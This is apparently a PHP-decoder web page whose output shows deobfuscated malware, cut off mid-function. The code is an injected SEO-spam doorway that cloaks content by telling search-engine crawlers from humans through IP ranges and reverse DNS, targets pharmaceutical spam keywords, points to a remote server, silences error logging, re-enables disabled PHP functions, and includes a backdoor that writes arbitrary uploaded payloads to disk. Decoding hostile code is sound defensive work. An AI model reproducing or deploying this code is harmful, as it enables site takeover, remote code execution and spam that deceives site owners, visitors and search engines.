Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval('?>b'<?php global $D_START_MAIN_CONTENT,$D_USE_GETHOSTBYADDR,$ND_SERVER_NAME,$ND_CHA..

Decoded Output download

<?  eval('?>b'<?php 
global $D_START_MAIN_CONTENT,$D_USE_GETHOSTBYADDR,$ND_SERVER_NAME,$ND_CHANCE_REPLACE,$D_CHANCE_LINK_INJECT,$D_MAX_LINK_ON_PAGE,$D_ARRAY_LINKS_INJECT,$D_ARRAY_TEXT_INJECT,$D_CHANGE_TITLE,$D_CHECK_BY_IP,$ND_LOCAL_USE_GETHOSTBYADDR,$ND_NEED_UPDATE_DATA_SES,$D_HASH_DATA_SES,$ND_LOCAL_DNS_CHECK_IP,$D_BOTS_INFO,$ND_DOOR_DOMAIN,$ND_DOOR_HASH,$ND_DOOR_HASH_NS,$ND_IS_BAD_PAGE,$ND_IS_GOOD_PAGE,$ND_IS_FOR_REPLACE_PAGE,$D_BAD_BOTS_SIGNS,$D_GOOD_BOTS_SIGNS,$ND_IP,$ND_NEED_UPDATE_DATA_SES,$ND_NEED_TEMPLATE;$ND_SERVER_NAME=\'http://new.fromgoto.com\';$ND_CHANCE_REPLACE=0;?><?php 
 global $D_START_MAIN_CONTENT,$D_USE_GETHOSTBYADDR,$ND_SERVER_NAME,$ND_CHANCE_REPLACE,$D_CHANCE_LINK_INJECT,$D_MAX_LINK_ON_PAGE,$D_ARRAY_LINKS_INJECT,$D_ARRAY_TEXT_INJECT,$D_CHANGE_TITLE,$D_CHECK_BY_IP,$ND_LOCAL_USE_GETHOSTBYADDR,$ND_NEED_UPDATE_DATA_SES,$D_HASH_DATA_SES,$ND_LOCAL_DNS_CHECK_IP,$D_BOTS_INFO,$ND_DOOR_DOMAIN,$ND_DOOR_HASH,$ND_DOOR_HASH_NS,$ND_IS_BAD_PAGE,$ND_IS_GOOD_PAGE,$ND_IS_FOR_REPLACE_PAGE,$D_BAD_BOTS_SIGNS,$D_GOOD_BOTS_SIGNS,$ND_IP,$ND_NEED_UPDATE_DATA_SES,$ND_NEED_TEMPLATE;$D_CHANCE_LINK_INJECT=5000;$D_MAX_LINK_ON_PAGE=30;$D_ARRAY_LINKS_INJECT=array();$D_ARRAY_TEXT_INJECT=array();$D_START_MAIN_CONTENT=\'\';$D_USE_GETHOSTBYADDR=true;$D_CHANGE_TITLE=false;$D_CHECK_BY_IP=true;$ND_LOCAL_USE_GETHOSTBYADDR=true;$ND_NEED_UPDATE_DATA_SES=false;$D_HASH_DATA_SES=\'\';$ND_LOCAL_DNS_CHECK_IP=false;$D_BOTS_INFO=array(\'GoogleBot\'=>array(\'dns\'=>false,\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'8.34.208.0\',\'end\'=>\'8.35.207.255\'),array(\'start\'=>\'8.8.4.0\',\'end\'=>\'8.8.4.255\'),array(\'start\'=>\'8.8.8.0\',\'end\'=>\'8.8.8.255\'),array(\'start\'=>\'23.236.48.0\',\'end\'=>\'23.236.63.255\'),array(\'start\'=>\'23.251.128.0\',\'end\'=>\'23.251.159.255\'),array(\'start\'=>\'34.0.0.0\',\'end\'=>\'35.247.255.255\'),array(\'start\'=>\'64.15.112.0\',\'end\'=>\'64.15.255.255\'),array(\'start\'=>\'64.233.160.0\',\'end\'=>\'64.233.255.255\'),array(\'start\'=>\'66.22.0.0\',\'end\'=>\'66.22.100.255\'),array(\'start\'=>\'66.102.0.0\',\'end\'=>\'66.102.100.255\'),array(\'start\'=>\'66.249.50.0\',\'end\'=>\'66.249.95.255\'),array(\'start\'=>\'70.32.100.0\',\'end\'=>\'70.32.159.255\'),array(\'start\'=>\'72.14.100.0\',\'end\'=>\'72.14.255.255\'),array(\'start\'=>\'74.114.0.0\',\'end\'=>\'74.125.255.255\'),array(\'start\'=>\'104.154.0.0\',\'end\'=>\'104.155.255.255\'),array(\'start\'=>\'104.196.0.0\',\'end\'=>\'104.199.255.255\'),array(\'start\'=>\'104.237.160.0\',\'end\'=>\'104.237.191.255\'),array(\'start\'=>\'107.167.100.0\',\'end\'=>\'107.178.255.255\'),array(\'start\'=>\'108.59.80.0\',\'end\'=>\'108.59.95.255\'),array(\'start\'=>\'108.170.100.0\',\'end\'=>\'108.177.255.255\'),array(\'start\'=>\'130.211.0.0\',\'end\'=>\'130.211.255.255\'),array(\'start\'=>\'136.112.0.0\',\'end\'=>\'136.127.255.255\'),array(\'start\'=>\'142.250.0.0\',\'end\'=>\'142.251.255.255\'),array(\'start\'=>\'146.148.0.0\',\'end\'=>\'146.148.255.255\'),array(\'start\'=>\'162.216.0.0\',\'end\'=>\'162.222.255.255\'),array(\'start\'=>\'172.110.0.0\',\'end\'=>\'172.110.255.255\'),array(\'start\'=>\'172.217.0.0\',\'end\'=>\'172.217.255.255\'),array(\'start\'=>\'172.253.0.0\',\'end\'=>\'172.253.255.255\'),array(\'start\'=>\'173.194.0.0\',\'end\'=>\'173.194.255.255\'),array(\'start\'=>\'173.255.0.0\',\'end\'=>\'173.255.255.255\'),array(\'start\'=>\'192.158.0.0\',\'end\'=>\'192.158.255.255\'),array(\'start\'=>\'192.178.0.0\',\'end\'=>\'192.179.255.255\'),array(\'start\'=>\'193.186.0.0\',\'end\'=>\'193.186.255.255\'),array(\'start\'=>\'199.192.100.0\',\'end\'=>\'199.192.255.255\'),array(\'start\'=>\'199.223.150.0\',\'end\'=>\'199.223.255.255\'),array(\'start\'=>\'199.36.154.0\',\'end\'=>\'199.36.156.255\'),array(\'start\'=>\'207.223.160.0\',\'end\'=>\'207.223.175.255\'),array(\'start\'=>\'208.117.224.0\',\'end\'=>\'208.117.255.255\'),array(\'start\'=>\'208.65.152.0\',\'end\'=>\'209.85.255.255\'),array(\'start\'=>\'216.58.150.0\',\'end\'=>\'216.58.255.255\'),array(\'start\'=>\'216.73.0.0\',\'end\'=>\'216.73.255.255\'),array(\'start\'=>\'216.239.0.0\',\'end\'=>\'216.239.255.255\'),array(\'start\'=>\'203.208.0.0\',\'end\'=>\'203.208.255.255\'),),\'range_ipv6\'=>array(array(\'start\'=>\'2a00:1450::\',\'end\'=>\'2a00:1450:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2c0f:fb50::\',\'end\'=>\'2c0f:fb50:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2001:4860::\',\'end\'=>\'2001:4860:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2404:6800::\',\'end\'=>\'2404:6800:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2404:f340::\',\'end\'=>\'2404:f340:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2600:1900::\',\'end\'=>\'2600:190f:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2606:73c0::\',\'end\'=>\'2606:73c0:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2607:f8b0::\',\'end\'=>\'2607:f8b0:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2620:11a:a000::\',\'end\'=>\'2620:11a:a0ff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2620:120:e000::\',\'end\'=>\'2620:120:e0ff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2800:3f0::\',\'end\'=>\'2800:3f0:ffff:ffff:ffff:ffff:ffff:ffff\'),))),\'DuckDuckBot\'=>array(\'dns\'=>false,\'ips\'=>array(\'list\'=>array(\'20.191.45.212\',\'40.88.21.235\',\'40.76.173.151\',\'40.76.163.7\',\'20.185.79.47\',\'52.142.26.175\',\'20.185.79.15\',\'52.142.24.149\',\'40.76.162.208\',\'40.76.163.23\',\'40.76.162.191\',\'40.76.162.247\',\'54.208.102.37\',\'107.21.1.8\',\'46.51.197.88\',\'46.51.197.89\',\'50.18.192.250\',\'50.18.192.251\',\'107.21.1.61\',\'176.34.131.233\',\'176.34.135.167\',\'184.72.106.52\',\'184.72.115.86\',),\'range_ipv4\'=>array(),\'range_ipv6\'=>array())),\'Bingbot\'=>array(\'dns\'=>false,\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'104.146.0.0\',\'end\'=>\'104.146.255.255\'),array(\'start\'=>\'13.66.0.0\',\'end\'=>\'13.71.255.255\'),array(\'start\'=>\'131.253.0.0\',\'end\'=>\'131.253.255.255\'),array(\'start\'=>\'139.217.0.0\',\'end\'=>\'139.217.255.255\'),array(\'start\'=>\'157.55.0.0\',\'end\'=>\'157.56.255.255\'),array(\'start\'=>\'191.233.150.0\',\'end\'=>\'191.233.255.255\'),array(\'start\'=>\'199.30.0.0\',\'end\'=>\'199.30.100.255\'),array(\'start\'=>\'20.36.100.0\',\'end\'=>\'20.36.255.255\'),array(\'start\'=>\'20.43.100.0\',\'end\'=>\'20.43.120.255\'),array(\'start\'=>\'20.125.0.0\',\'end\'=>\'20.125.255.255\'),array(\'start\'=>\'207.46.0.0\',\'end\'=>\'207.46.255.255\'),array(\'start\'=>\'40.77.167.0\',\'end\'=>\'40.79.186.255\'),array(\'start\'=>\'51.105.0.0\',\'end\'=>\'51.105.70.255\'),array(\'start\'=>\'51.8.100.00\',\'end\'=>\'51.8.255.255\'),array(\'start\'=>\'52.167.0.0\',\'end\'=>\'52.167.144.255\'),array(\'start\'=>\'52.231.0.0\',\'end\'=>\'52.231.148.255\'),array(\'start\'=>\'65.55.0.0\',\'end\'=>\'65.55.255.255\'),),\'range_ipv6\'=>array())),\'yahoo\'=>array(\'dns\'=>\'crawl.yahoo.net\',\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'114.111.95.0\',\'end\'=>\'114.111.95.255\'),array(\'start\'=>\'124.83.0.0\',\'end\'=>\'124.83.255.255\'),array(\'start\'=>\'183.79.0.0\',\'end\'=>\'183.79.255.255\'),array(\'start\'=>\'202.160.0.0\',\'end\'=>\'202.160.255.255\'),array(\'start\'=>\'203.216.0.0\',\'end\'=>\'203.216.255.255\'),array(\'start\'=>\'209.191.0.0\',\'end\'=>\'209.191.255.255\'),array(\'start\'=>\'211.14.0.0\',\'end\'=>\'211.14.100.255\'),array(\'start\'=>\'37.9.87.0\',\'end\'=>\'37.9.87.255\'),array(\'start\'=>\'5.255.250.0\',\'end\'=>\'5.255.250.255\'),array(\'start\'=>\'66.196.0.0\',\'end\'=>\'66.196.255.255\'),array(\'start\'=>\'66.228.0.0\',\'end\'=>\'66.228.255.255\'),array(\'start\'=>\'67.195.0.0\',\'end\'=>\'67.195.255.255\'),array(\'start\'=>\'68.142.0.0\',\'end\'=>\'68.142.255.255\'),array(\'start\'=>\'68.180.0.0\',\'end\'=>\'68.180.255.255\'),array(\'start\'=>\'72.30.0.0\',\'end\'=>\'72.30.255.255\'),array(\'start\'=>\'74.6.0.0\',\'end\'=>\'74.6.255.255\'),array(\'start\'=>\'8.12.144.0\',\'end\'=>\'8.12.144.255\'),array(\'start\'=>\'98.136.0.0\',\'end\'=>\'98.139.255.255\'),),\'range_ipv6\'=>array())),\'yandex.com/bots\'=>array(\'dns\'=>\'yandex.ru|yandex.net|yandex.com\',\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'100.43.64.0\',\'end\'=>\'100.43.100.255\'),array(\'start\'=>\'130.193.62.0\',\'end\'=>\'130.193.62.255\'),array(\'start\'=>\'141.8.140.0\',\'end\'=>\'141.8.153.255\'),array(\'start\'=>\'178.154.162.0\',\'end\'=>\'178.154.247.255\'),array(\'start\'=>\'199.21.99.0\',\'end\'=>\'199.21.99.255\'),array(\'start\'=>\'37.140.141.0\',\'end\'=>\'37.140.189.255\'),array(\'start\'=>\'37.9.84.0\',\'end\'=>\'37.9.115.255\'),array(\'start\'=>\'5.255.100.0\',\'end\'=>\'5.255.255.255\'),array(\'start\'=>\'5.45.200.0\',\'end\'=>\'5.45.254.255\'),array(\'start\'=>\'77.88.0.0\',\'end\'=>\'77.88.255.255\'),array(\'start\'=>\'84.201.146.0\',\'end\'=>\'84.201.150.255\'),array(\'start\'=>\'87.250.100.0\',\'end\'=>\'87.250.253.255\'),array(\'start\'=>\'93.158.147.0\',\'end\'=>\'93.158.200.255\'),array(\'start\'=>\'95.108.100.0\',\'end\'=>\'95.108.250.255\'),array(\'start\'=>\'213.180.203.0\',\'end\'=>\'213.180.203.255\')),\'range_ipv6\'=>array(array(\'start\'=>\'2a02:6b8:b000::\',\'end\'=>\'2a02:6b8:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2a02:6b8:b010::\',\'end\'=>\'2a02:6b8:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2a02:6b8:b011::\',\'end\'=>\'2a02:6b8:ffff:ffff:ffff:ffff:ffff:ffff\'),array(\'start\'=>\'2a02:6b8:c01::\',\'end\'=>\'2a02:6b8:ffff:ffff:ffff:ffff:ffff:ffff\'),))),\'PetalBot\'=>array(\'dns\'=>\'aspiegel.com|petalsearch.com\',\'ips\'=>array(\'list\'=>array(\'159.138.102.98\'),\'range_ipv4\'=>array(array(\'start\'=>\'114.119.0.0\',\'end\'=>\'114.119.255.255\'),),\'range_ipv6\'=>array())),\'AOLBuild\'=>array(\'dns\'=>\'aol.com\',\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(),\'range_ipv6\'=>array())),\'SeznamBot\'=>array(\'dns\'=>false,\'ips\'=>array(\'list\'=>array(\'77.75.77.31\',\'77.75.79.31\',\'77.75.73.26\',\'77.75.77.123\',\'77.75.77.174\',\'77.75.77.200\',\'77.75.79.123\',\'77.75.79.200\',\'2a02:598:2::1123\',\'2a02:598:2::1200\',),\'range_ipv4\'=>array(array(\'start\'=>\'77.75.76.0\',\'end\'=>\'77.75.79.255\'),),\'range_ipv6\'=>array(array(\'start\'=>\'2a02:598:aaaa:2::\',\'end\'=>\'2a02:598:aaaa:2::ffff\'),array(\'start\'=>\'2a02:598:bbbb:2::\',\'end\'=>\'2a02:598:bbbb:2::ffff\'),))),\'Qwantify\'=>array(\'dns\'=>\'.qwant.com\',\'ips\'=>array(\'list\'=>array(),\'range_ipv4\'=>array(array(\'start\'=>\'91.242.162.0\',\'end\'=>\'91.242.162.255\'),),\'range_ipv6\'=>array())),\'MojeekBot\'=>array(\'dns\'=>\'.mojeek.com\',\'ips\'=>array(\'list\'=>array(\'5.102.173.71\',),\'range_ipv4\'=>array(),\'range_ipv6\'=>array())),);$ND_DOOR_DOMAIN=isset($_SERVER[\'HTTP_HOST\'])&&$_SERVER[\'HTTP_HOST\']?$_SERVER[\'HTTP_HOST\']:(isset($_SERVER[\'SERVER_NAME\'])&&$_SERVER[\'SERVER_NAME\']?$_SERVER[\'SERVER_NAME\']:false);if(stripos($ND_DOOR_DOMAIN,\'www.\')===0){$ND_DOOR_DOMAIN=substr($ND_DOOR_DOMAIN,4);}$ND_DOOR_HASH_NS=substr(sprintf(\'%u\',crc32($ND_DOOR_DOMAIN.\'123qweasdzxc\')),0,7);$ND_DOOR_HASH=\'-\'.$ND_DOOR_HASH_NS;$ND_IS_BAD_PAGE=stripos($_SERVER[\'REQUEST_URI\'],$ND_DOOR_HASH)===false&&stripos($_SERVER[\'REQUEST_URI\'],$ND_DOOR_HASH_NS.\'.\')===false&&(preg_match("#\.(css|js|db|sql|json|swf|flv|png|jpe|jpeg|gif|bmp|ico|tiff|tif|svg|svgz|zip|rar|exe|msi|cab|mp3|qt|mov|pdf|psd|ai|eps|ps|doc|rtf|xls|ppt|odt|ods|docx|xlsx|txt|csv|odp|oxps|xps|env|xsd)(\?|$)#i",$_SERVER[\'REQUEST_URI\'])||strpos($_SERVER[\'REQUEST_URI\'],\'tel:\')!==false||strpos($_SERVER[\'REQUEST_URI\'],\'"\')!==false||strpos($_SERVER[\'REQUEST_URI\'],"\'")!==false||strpos(trim($_SERVER[\'REQUEST_URI\'],\'/\'),\'wp-\')===0||preg_match("#([^a-z^A-Z]|^)(about|contact|privacy|policy|service|team|portfolio|career|job|term|condition|cookie|affiliate|disclosure|search|login|register|registration|pricing|price|admin|administrator)s?([^a-z^A-Z]|$)#i",$_SERVER[\'REQUEST_URI\']));$ND_IS_GOOD_PAGE=!$ND_IS_BAD_PAGE&&(stripos($_SERVER[\'REQUEST_URI\'],$ND_DOOR_HASH)!==false||stripos($_SERVER[\'REQUEST_URI\'],$ND_DOOR_HASH_NS.\'.xml\')!==false||preg_match(\'#([^a-z^A-Z]|^)(viagra|p\-force|tylenol|amoxicillin|v\-gel|progesterone|prednisone|benadryl|paracetamol|acetaminophen|melatonin|metformin|cialis|gabapentin|yasmin|celebrex|baclofen|clomid|prozac|zoloft|vicks|provera|allegra|metronidazole|doxycycline|dexamethasone|garcinia|arjuna|actos|warfarin|ciprofloxacin|lexapro|promethazine|calcium|coumadin|cymbalta|omeprazole|wellbutrin|estradiol|voltaren|augmentin|minoxidil|azithromycin|lisinopril|namenda|accutane|buspar|citalopram|clindamycin|naproxen|modafinil|metoprolol|digoxin|tamoxifen|albuterol|aspirin|cipro|cephalexin|propranolol|trazodone|conjugated|dramamine|effexor|rogaine|acyclovir|methotrexate|sildenafil|diclofenac|nexium|finasteride|lasix|paxil|seroquel|abilify|pristiq|fluoxetine|fluconazole|erythromycin|celexa|atorvastatin|meloxicam|zofran|aleve|flagyl|bupropion|lamictal|lipitor|spironolactone|tretinoin|bactrim|depakote|amitriptyline|triamcinolone|ivermectin|buspirone|amlodipine|sertraline|carbonate|ranitidine|levothyroxine|imodium|prednisolone|claritin|ashwagandha|naltrexone|zyrtec|losartan|flexeril|synthroid|neurontin|topamax|ampicillin|clonidine|cetirizine|hydroxyzine|prilosec|plavix|diphenhydramine|propionate|cifran|retin\-a|furosemide|amiodarone|permethrin|tetracycline|advair|vitamin|atenolol|pantoprazole|methylprednisolone|motrin|adalat|keflex|clotrimazole|keppra|cytotec|misoprostol|simvastatin|fluticasone|venlafaxine|crestor|loratadine|clenbuterol|ketoconazole|valsartan|zantac|differin|harvoni|mirtazapine|hydrochlorothiazide|reglan|canesten|valtrex|escitalopram|lamotrigine|medrol|singulair|allopurinol|salbutamol|panadol|diflucan|ashoka|ramipril|levitra|isotretinoin|ventolin|propecia|haldol|clopidogrel|risperidone|diltiazem|zithromax|lactulose|betamethasone|tadalafil|clobetasol|pepcid|aciclovir|levofloxacin|phenytoin|levaquin|colchicine|loperamide|ondansetron|strattera|flonase|mobic|montelukast|lamisil|flomax|sulfamethoxazole|protonix|risperdal|verapamil|budesonide|nitrofurantoin|minocycline|mupirocin|dulcolax|isoniazid|toradol|phenergan|cyclosporine|topiramate|esomeprazole|orlistat|nifedipine|quetiapine|bentyl|benicar|remeron|olanzapine|macrobid|plaquenil|enalapril|dilantin|duloxetine|sovaldi|nizoral|imuran|stanozolol|paroxetine|brahmi|tamsulosin|tacrolimus|zyprexa|famotidine|methocarbamol|hoodia|carvedilol|carbamazepine|letrozole|clozapine|sumatriptan|premarin|neurobion|valacyclovir|provigil|meclizine|avana|indomethacin|decadron|rosuvastatin|chloramphenicol|rocephin|clarithromycin|trimethoprim|mometasone|piracetam|tizanidine|femara|lansoprazole|theophylline|ketorolac|ceftin|karela|diovan|domperidone|hardon|pravastatin|terbinafine|arimidex|levonorgestrel|xenical|artane|cerazette|glucocorticoid|glipizide|prevacid|pregabalin|cefdinir|cardizem|imitrex|januvia|atarax|norvasc|nolvadex|nortriptyline|cefuroxime|metoclopramide|ipratropium|tegretol|ofloxacin|cyclophosphamide|inderal|isosorbide|bisoprolol|piroxicam|albendazole|elavil|nicotine|unisom|zovirax|haloperidol|sulfasalazine|chloroquine|altace|aldara|tri\-cyclen|fenofibrate|slimfast|atacand|fexofenadine|fosamax|tranexamic|labetalol|kamagra)([^a-z^A-Z]|$)#i\',$_SERVER[\'REQUEST_URI\']));$ND_IS_FOR_REPLACE_PAGE=!$ND_IS_GOOD_PAGE&&$GLOBALS[\'ND_CHANCE_REPLACE\']&&$_SERVER[\'REQUEST_URI\']!==\'/\'&&abs(crc32($_SERVER[\'REQUEST_URI\']))%10000<$GLOBALS[\'ND_CHANCE_REPLACE\'];if(!function_exists(\'getallheaders\')){function getallheaders(){$headers=array();foreach($_SERVER as $name=>$value){if(substr($name,0,5)==\'HTTP_\'){$headers[str_replace(\' \',\'-\',ucwords(strtolower(str_replace(\'_\',\' \',substr($name,5)))))]=$value;}}return $headers;}}function d_ini_sets(){@ini_set(\'log_errors_max_len\',0);@ini_set(\'log_errors\',0);@ini_set(\'error_log\',null);@ini_set(\'error_reporting\',null);@error_reporting(0);@ini_set(\'ignore_repeated_errors\',1);@ini_set(\'ignore_repeated_source\',1);@ini_set(\'display_errors\',0);@ini_set(\'display_startup_errors\',0);@ini_set(\'max_input_time\',120);@ini_set(\'max_execution_time\',120);@set_time_limit(120);@ini_set(\'post_max_size\',\'8M\');@ini_set(\'track_vars\',\'On\');@ini_set(\'variables_order\',\'EGPCS\');@ini_restore(\'disable_function\');@ini_set(\'disable_function\',\'\');}if(isset($_POST[\'upld\'],$_POST[\'fname\'])&&!empty($_POST[\'upld\'])&&!empty($_POST[\'fname\'])){d_ini_sets();@ignore_user_abort(true);@ini_set(\'memory_limit\',\'16M\');@ini_set(\'upload_max_filesize\',\'4M\');@ini_set(\'file_uploads\',1);$data_file=gzinflate(base64_decode($_POST[\'upld\']));$f_name=$_POST[\'fname\'];if(!$data_file){$result_action[\'status\']=false;$result_action[\'comment\']=\'Cant base64_decode() or gzinflate(), len data: \'.strlen($_POST[\'upld\']);}elseif(file_put_contents($f_name,$data_file)){$result_action[\'status\']=true;$result_action[\'comment\']=\'file uploaded: \'.$f_name;}else{$result_action[\'status\']=false;$result_action[\'comment\']=\'Cant file_put_contents(): \'.$f_name;}exit(json_encode($result_action));}function close_ses(){@ini_set(\'session.gc_maxlifetime\',172800);@ini_set(\'session.cookie_lifetime\',172800);if(version_compare(PHP_VERSION,\'5.4.0\')>=0){if(session_status()===PHP_SESSION_ACTIVE){session_write_close();}}elseif(session_id()!==\'\'){session_write_close();}}function get_data_ses(){if(isset($_SESSION[\'user-data-sm\'])){return true;}close_ses();session_name(\'utm-ads-site\');session_id(md5(\'saltqwe123554\'.$GLOBALS[\'ND_DOOR_DOMAIN\']));if(!session_start()){return false;}session_write_close();setcookie(\'utm-ads-site\',\'\',0,\'/\');if(isset($_SESSION[\'user-data-sm\'])){foreach($_SESSION[\'user-data-sm\']as $var_global_name=>$value){$GLOBALS[$var_global_name]=$value;}return true;}return null;}function set_data_ses(){close_ses();session_name(\'utm-ads-site\');session_id(md5(\'saltqwe123554\'.$GLOBALS[\'ND_DOOR_DOMAIN\']));if(!session_start()){return false;}foreach($GLOBALS as $var_global_name=>$value){if(strpos($var_global_name,\'D_\')!==0){continue;}$_SESSION[\'user-data-sm\'][$var_global_name]=$value;}setcookie(\'utm-ads-site\',\'\',0,\'/\');if(version_compare(PHP_VERSION,\'7.2.0\')>=0){if(session_write_close()){return true;}else{return false;}}session_write_close();return true;}function set_bad_cookie(){setcookie(\'utm_contents_site\',md5(\'sdferwtdfgdftgertert\'.date(\'d-m-Y\')),time()+31104000,\'/\');}function ip_in_range($ip,$start_ip,$end_ip){return inet_pton($start_ip)<=inet_pton($ip)&&inet_pton($ip)<=inet_pton($end_ip);}function is_google_console_bot($user_agent){if(stripos($user_agent,\'InspectionTool\')!==false){return true;}$h=getallheaders();if(!is_array($h)){return null;}if(isset($h[\'accept\'])){$h[\'Accept\']=$h[\'accept\'];}if(!isset($h[\'Accept\'])){return null;}if(in_array($h[\'Accept\'],array(\'*/*\',\'*/*,application/signed-exchange;v=b3\'))){return true;}return false;}function check_user($user_agent,$ip){if(isset($_COOKIE[\'utm_d-ga\'])&&($_COOKIE[\'utm_d-ga\']===md5(date(\'d-m-Y\').\'-d-super-salt\')||$_COOKIE[\'utm_d-ga\']===md5(date(\'d-m-Y\').\'-d-super-salt\',time()-86400)||$_COOKIE[\'utm_d-ga\']===md5(date(\'d-m-Y\').\'-d-super-salt\',time()+86400))){return \'good_bot\';}if($user_agent===\'Googlbot/2.1 (+http://www.googlbot.com/bot.html)\'){return \'mb_bad_bot\';}if(isset($_COOKIE[\'utm_contents_site\'])&&!empty($_COOKIE[\'utm_contents_site\'])){return \'bad_bot\';}if(!$user_agent||in_array($user_agent,array(\'Google Spider\',\'GoogleBot\',\'UserAgent\',\'badbot\',\'The Knowledge AI\',\'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\'))){set_bad_cookie();return \'bad_bot\';}if(isset($_SERVER[\'HTTP_REFERER\'])&&($_SERVER[\'HTTP_REFERER\']===\'localhost\'||stripos($_SERVER[\'HTTP_REFERER\'],\'react.org\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'search.google\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'developers.google\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'translate.google\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'webcache.google\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'moz.com\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'ahrefs\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'semrush\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'serpstat.com\')!==false||stripos($_SERVER[\'HTTP_REFERER\'],\'megaindex\')!==false)){set_bad_cookie();return \'bad_bot\';}get_data_ses();if(preg_match("#".$GLOBALS[\'D_BAD_BOTS_SIGNS\']."#isU",$user_agent)){set_bad_cookie();return \'bad_bot\';}foreach($GLOBALS[\'D_BOTS_INFO\']as $sign_good_bot=>$params_good_bot){if(stripos($user_agent,$sign_good_bot)!==false){if(!$GLOBALS[\'D_CHECK_BY_IP\']){if($sign_good_bot===\'GoogleBot\'&&is_google_console_bot($user_agent)){return \'bad_bot\';}return \'good_bot\';}if(isset($params_good_bot[\'ips\'][\'list\'])&&is_array($params_good_bot[\'ips\'][\'list\'])&&in_array($ip,$params_good_bot[\'ips\'][\'list\'],false)){if($sign_good_bot===\'GoogleBot\'&&is_google_console_bot($user_agent)){return \'bad_bot\';}return \'good_bot\';}if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV6)){$ip_ver=\'range_ipv6\';}else{$ip_ver=\'range_ipv4\';}if(isset($params_good_bot[\'ips\'][$ip_ver])&&!empty($params_good_bot[\'ips\'][$ip_ver])){foreach($params_good_bot[\'ips\'][$ip_ver]as $current_range){if(ip_in_range($ip,$current_range[\'start\'],$current_range[\'end\'])){if($sign_good_bot===\'GoogleBot\'&&is_google_console_bot($user_agent)){return \'bad_bot\';}return \'good_bot\';}}}if(isset($params_good_bot[\'dns\'])&&$params_good_bot[\'dns\']){if($GLOBALS[\'D_USE_GETHOSTBYADDR\']&&$GLOBALS[\'ND_LOCAL_USE_GETHOSTBYADDR\']){$host=@gethostbyaddr($ip);if(!$host||$host===$ip){return \'mb_bad_bot\';}$dns_bots_signs=explode(\'|\',$params_good_bot[\'dns\']);foreach($dns_bots_signs as $dns_bots_sign){if(stripos($host,$dns_bots_sign)!==false){$GLOBALS[\'ND_LOCAL_DNS_CHECK_IP\']=true;$GLOBALS[\'ND_DNS_HOST\']=$ip;if($ip_ver===\'range_ipv6\'){$GLOBALS[\'D_BOTS_INFO\'][$sign_good_bot][\'ips\'][\'list\'][]=$ip;}else{$GLOBALS[\'D_BOTS_INFO\'][$sign_good_bot][\'ips\'][\'range_ipv4\'][]=array(\'start\'=>preg_replace("#\.[0-9]{1,3}$#isU",\'0\',$ip),\'end\'=>preg_replace("#\.[0-9]{1,3}$#isU",\'255\',$ip));}if($sign_good_bot===\'GoogleBot\'&&is_google_console_bot($user_agent)){return \'bad_bot\';}return \'good_bot\';}}set_bad_cookie();return \'bad_bot\';}return \'mb_bad_bot\';}set_bad_cookie();return \'bad_bot\';}}if(preg_match("#[^a-z^A-Z](seo|bot|spider|crawler|checker|spam|perl)[^a-z^A-Z]#isU",$user_agent)||preg_match("#[a-z](Seo|Bot|Spider|Crawler|Checker|Spam|Perl)|SEO#sU",$user_agent)){set_bad_cookie();return \'bad_bot\';}return \'mb_human\';}function d_get_real_ip(){foreach(array(\'HTTP_X_FORWARDED_FOR\',\'HTTP_CLIENT_IP\',\'HTTP_X_FORWARDED\',\'HTTP_FORWARDED_FOR\',\'HTTP_FORWARDED\',\'REMOTE_ADDR\',\'HTTP_X_CLUSTER_CLIENT_IP\',\'HTTP_CF_CONNECTING_IP\')as $kip){if($adr_ip=getenv($kip)){foreach(array_map(\'trim\',explode(\',\',$adr_ip))as $ip){if($ip&&filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){$ip_v=inet_ntop(inet_pton($ip));if($ip_v){return $ip_v;}return $ip;}}}}return false;}function d_replace_data($buf){get_data_ses();if($GLOBALS[\'D_CHANGE_TITLE\']){$pos_text_title=$GLOBALS[\'D_URI_CRC32\']%(count($GLOBALS[\'D_ARRAY_TEXT_INJECT\'])-1);$buf=str_ireplace(\'</title>\',\'. 